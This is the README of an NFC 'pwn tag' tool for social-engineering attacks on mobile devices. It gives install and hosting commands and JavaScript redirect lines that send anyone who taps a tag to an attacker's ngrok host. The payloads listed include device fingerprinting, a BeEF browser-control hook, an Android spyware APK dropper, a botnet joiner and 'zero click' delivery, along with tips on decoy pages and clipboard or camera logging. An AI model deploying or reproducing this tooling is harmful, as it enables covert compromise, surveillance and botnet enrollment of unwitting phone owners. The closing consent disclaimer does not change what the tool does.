-the main branch is for no zero click payload
delivery due to no paid ngrok accout.
and the pwn_tag_pro branch allows for android zero click payload delivery with paid ngrok account.
MAKE SURE YOU ARE IN THE RIGHT BRANCH OF THE REPOSITORY BEFORE PROCEEDING. toggle to switch branches found above.
PWN TAG "tag to pwn" — NFC payload delivery system for social engineering, red team ops, and mobile testing.
PWN-TAG lets you write NFC tags that trigger live payloads on mobile devices — from fingerprinting to botnet enrollment. Built for ethical hackers, educators, defenders, and curious minds.
| Branch | Purpose |
|---|---|
main |
Free-tier version using randomized ngrok URLs (requires tap + confirm) |
ngrok-pro |
Paid ngrok version with static subdomains → enables zero-click payloads |
Switch branches like this:
git checkout ngrok-pro
````
---
## What You Need
* NFC tag stickers (\~\$10 for 25):
[https://a.co/d/gl2XRV8](https://a.co/d/gl2XRV8)
* NFC writer app (free):
[https://apps.apple.com/app/id1252962749](https://apps.apple.com/app/id1252962749)
* A Debian-based Linux system
* A [ngrok](https://ngrok.com/) account (free or paid)
---
## Installation (Clone + Setup)
```bash
git clone https://github.com/ekomsSavior/PWN-TAG.git
cd PWN-TAG
git checkout ngrok-pro
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install flask
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar -xvzf ngrok-v3-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/
Then authenticate your token: https://ngrok.com/
ngrok config add-authtoken <YOUR_NGROK_AUTH_TOKEN>
python3 -m http.server 8080
This serves your payloads at http://localhost:8080
ngrok http 8080
Copy the https://...ngrok.app URL — this becomes your NFC tag link.
nano payloads/test_shell.html
Update this line with your current ngrok URL:
window.location.href = "https://your-ngrok-subdomain.ngrok.app/payloads/bot_joiner.html";
python3 listener.py
Logs any device fingerprinting or interaction data sent by payloads.
Using your NFC writer app:
https://pwn-tag.ngrok.app/payloads/test_shell.html
Now when someone taps the tag, it opens the redirector → logs the device → delivers your payload.
| Payload | Path | Description |
|---|---|---|
| Test Shell | payloads/test_shell.html |
Logs fingerprint (user agent, screen size, timezone) then redirects |
| Full Beacon Shell | payloads/beef_shell.html |
Loads a BEEF hook for browser control (if server is running) |
| APK Dropper | payloads/spy.apk |
Sends Android users a direct APK (custom implants welcome) |
| Rogue Joiner | payloads/bot_joiner.html |
Simulates Rogue Botnet join — connect, beacon, execute JS |
payloads/test_shell.htmlwindow.location.href = "https://your-ngrok.ngrok.app/payloads/YOUR_FILE_HERE";
window.location.href = "https://pwn-tag.ngrok.app/payloads/spy.apk";
No need to rewrite the NFC tag if you're using a static domain — just update the file.
redirect_to_apk.html, etc.)index.html a 403 decoy or fake bloghttps://ipinfo.io/json in your JSclipboard.js, camlog, etc. before redirectngrok-pro), your NFC tags are reusable foreverThis tool is intended for educational purposes, red-team ops, and ethical testing only.
You are responsible for your actions. Do not use this on devices or individuals without consent.
// click a file to view source